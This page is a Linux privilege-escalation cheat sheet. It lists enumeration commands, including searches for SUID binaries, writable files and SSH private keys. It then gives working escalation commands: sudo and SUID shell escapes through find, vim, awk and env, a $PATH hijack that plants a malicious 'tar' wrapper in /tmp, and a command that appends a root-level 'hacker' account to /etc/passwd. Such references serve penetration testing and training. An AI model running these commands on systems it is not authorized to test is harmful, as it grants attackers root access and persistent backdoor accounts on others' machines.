Skip to content

Linux Privilege Escalation

A cheat sheet of common commands and pathways for enumerating and escalating privileges on Linux systems.

CommandDescription
uname -aPrint kernel version, architecture, and system information
cat /etc/issue or cat /etc/*-releaseIdentify Linux distribution / version
ps aux or ps -efList all running processes on the system
`ps auxgrep root`
cat /proc/versionDetailed kernel version description
lscpuDisplay CPU architecture details
CommandDescription
whoamiIdentify current user context
idCheck current user UID, GID, and group memberships
groups <user>Show groups a specific user belongs to
cat /etc/passwdList all system users
cat /etc/groupList all system groups
last or lastlogView history of logins on the system
sudo -lList current user’s sudo privileges (requires password or NOPASSWD)
CommandDescription
ip a or ifconfigList network interfaces and IP addresses
ss -tulpn or netstat -anoList open ports, active connections, and listening sockets
route -n or ip routeDisplay routing table
arp -a or ip neighDisplay ARP cache table (other hosts on subnet)
CommandDescription
find / -perm -u=s -type f 2>/dev/nullFind SUID executables (run with owner permissions)
find / -perm -g=s -type f 2>/dev/nullFind SGID executables
getcap -r / 2>/dev/nullList files with Linux capabilities assigned
find / -writable -type f 2>/dev/nullFind writable files for the current user
find / -writable -type d 2>/dev/nullFind writable directories for the current user
find / -name "*.conf" -o -name "*.config" 2>/dev/nullLocate configuration files
find / -name "*id_rsa*" -o -name "*id_dsa*" 2>/dev/nullFind SSH private keys
CommandDescription
cat /etc/crontabView system-wide cron jobs configuration
ls -la /etc/cron.*View scripts running hourly, daily, weekly, or monthly
crontab -lView cron jobs for the current user
systemctl list-timers --allList active systemd timers

If you find SUID binaries or programs allowed via sudo -l, look them up on GTFOBins to find shell escape sequences.

Example Sudo Escapes:

Terminal window
# Sudo exploit for /usr/bin/find
sudo find . -exec /bin/sh \; -quit
# Sudo exploit for vim
sudo vim -c ':!/bin/sh'
# Sudo exploit for awk
sudo awk 'BEGIN {system("/bin/sh")}'

Example SUID Escapes:

Terminal window
# SUID exploit for env
/usr/bin/env /bin/sh -p
# SUID exploit for find
/usr/bin/find . -exec /bin/sh -p \; -quit

2. Writable Path Exploits ($PATH Hijacking)

Section titled “2. Writable Path Exploits ($PATH Hijacking)”

If a root-owned cron job or script calls a command without its absolute path, and you have write permissions to a directory in your $PATH:

Terminal window
# Step 1: Check your path
echo $PATH
# Step 2: Create a malicious wrapper in a writable path (e.g. /tmp)
echo "/bin/bash -p" > /tmp/tar
chmod +x /tmp/tar
# Step 3: Prepend the writable directory to the PATH variable
export PATH=/tmp:$PATH

If /etc/passwd is writable, you can add a root user directly:

Terminal window
# Generate password hash for password "password123"
openssl passwd -1 -salt hack password123
# Output: $1$hack$xQcsm8GZ7pB.vH3oO5k9B1
# Append new root entry to /etc/passwd
echo "hacker:\$1\$hack\$xQcsm8GZ7pB.vH3oO5k9B1:0:0:root:/root:/bin/bash" >> /etc/passwd
# Switch to the new root user
su hacker